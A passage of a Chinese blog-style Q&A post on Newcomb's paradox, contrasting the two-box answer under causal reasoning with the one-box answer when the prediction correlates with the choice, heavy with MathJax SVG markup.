xmlns="http://www.w3.org/1998/Math/MathML"><mo>−</mo><msup><mn>10</mn><mn>3</mn></msup></math></mjx-assistive-mml></mjx-container>）。这意味着作为常数时，<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container> 越大，收益反而越小。所以在纯粹的时序因果逻辑下，<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container> 必须取 0。也就是<strong>拿双盒</strong>。一千块钱白给的，不拿白不拿。</p>
<h3 id="q-若-y-为变量且和-x-呈正相关呢" tabindex="-1">Q: 若 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.464ex;" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>y</mi></math></mjx-assistive-mml></mjx-container> 为变量且和 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container> 呈正相关呢？ <a class="header-anchor" href="#q-若-y-为变量且和-x-呈正相关呢" aria-label="Permalink to “Q: 若  为变量且和  呈正相关呢？”">&#8203;</a></h3>
<p>如果认为这台机器的预测极度精准，我的选择（<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container>）和它的预测结果（<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.464ex;" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>y</mi></math></mjx-assistive-mml></mjx-container>）高度绑定，那么 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.464ex;" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>y</mi></math></mjx-assistive-mml></mjx-container> 就成了一个与 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container> 正相关的变量。</p>
<p>此时，博弈变成了 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="3.25ex" height="2.005ex" role="img" focusable="false" viewBox="0 -864 1436.6 886" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,393.1) scale(0.707)"><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" style="stroke-width: 3;"/></g></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><msup><mn>10</mn><mn>6</mn></msup></math></mjx-assistive-mml></mjx-container> 的“奖励”与 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="3.25ex" height="2.003ex" role="img" focusable="false" viewBox="0 -863.3 1436.6 885.3" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,393.1) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z" style="stroke-width: 3;"/></g></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><msup><mn>10</mn><mn>3</mn></msup></math></mjx-assistive-mml></mjx-container> 的“惩罚”之间的对抗。只要这台机器的预测准确率稍微靠点谱（正相关的斜率大于 0.001），<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="3.25ex" height="2.005ex" role="img" focusable="false" viewBox="0 -864 1436.6 886" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,393.1) scale(0.707)"><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" style="stroke-width: 3;"/></g></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><msup><mn>10</mn><mn>6</mn></msup></math></mjx-assistive-mml></mjx-container> 带来的百万级收益将瞬间碾压 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="3.25ex" height="2.003ex" role="img" focusable="false" viewBox="0 -863.3 1436.6 885.3" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,393.1) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z" style="stroke-width: 3;"/></g></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><msup><mn>10</mn><mn>3</mn></msup></math></mjx-assistive-mml></mjx-container> 的千元级损失。所以在这种逻辑下，<mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z" style="stroke-width: 3;"/></g></g></g></svg><mjx-assistive-mml unselectable="on" display="inline" style="top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;"><math xmlns="http://www.w3.org/1998/Math/MathML"><mi>x</mi></math></mjx-assistive-mml></mjx-container> 必须取 1。也就是<strong>只拿单盒</strong>。</p>
<h3 id="q-所以这道题到底在考察什么" tabindex="-1">Q: 所以这道题到底在考察什么？ <a class="header-anchor" href="#q-所以这道题到底在考察什么" aria-label="Permalink to “Q: 所以这道题到底在考察什么？”">&#8203;</a></h3>
<p>我深度烧烤明白了，这个题有两层模糊性：</p>
<ul>
<li><strong>从直觉出发</strong>，如果直觉倾向于 <mjx-container v-pre class="MathJax" jax="SVG" style="direction: ltr; position: relative;"><svg style="overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.152ex;" xmlns="http://www.w3.org/2000/svg" width="10.02ex" height="2.106ex" role="img" focusable="false" viewBox="0 -864 4428.7 931" aria-hidden="true"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" style="stroke-width: 3;"/><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)" style="stroke-width: 3;"/></g><g data-mml-node="mn" transform="translate(1033,393.1) scale(0.707)"><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" style="stroke-width: 3;"/></g></g><g data-mml-node="mo" transform="translate(1714.3,0)"><path data-c="226B" d="M55 539T55 547T60 561T74 567Q81 567 207 498Q297 449 365 412Q633 265 636 261Q639 255 639 250Q639 241 626 232Q614 224 365 88Q83 -65 79 -66Q76 -67 73 -67Q65 -67 60 -61T55 -47Q55 -39 61 -33Q62 -33 95 -15T193 39T320 109L321 110H322L323 111H324L325 112L326 113H327L329 114H330L331 115H332L333 116L334 117H335L336 118H337L338 119H339L340 120L341 121H342L343 122H344L345 123H346L347 124L348 125H349L351 126H352L353 127H354L355 128L356 129H357L358 130H359L360 131H361L362 132L363 133H364L365 134H366L367 135H368L369 136H370L371 137L372 138H373L374 139H375L376 140L378 141L576 251Q63 530 62 533Q55 539 55 547ZM360 539T360 547T365 561T379 567Q386 567 512 498Q602 449 670 412Q938 265 941 261Q944 255 944 250Q944 241 931 232Q919 224 670 88Q388 -65 384 -66Q381 -67 378 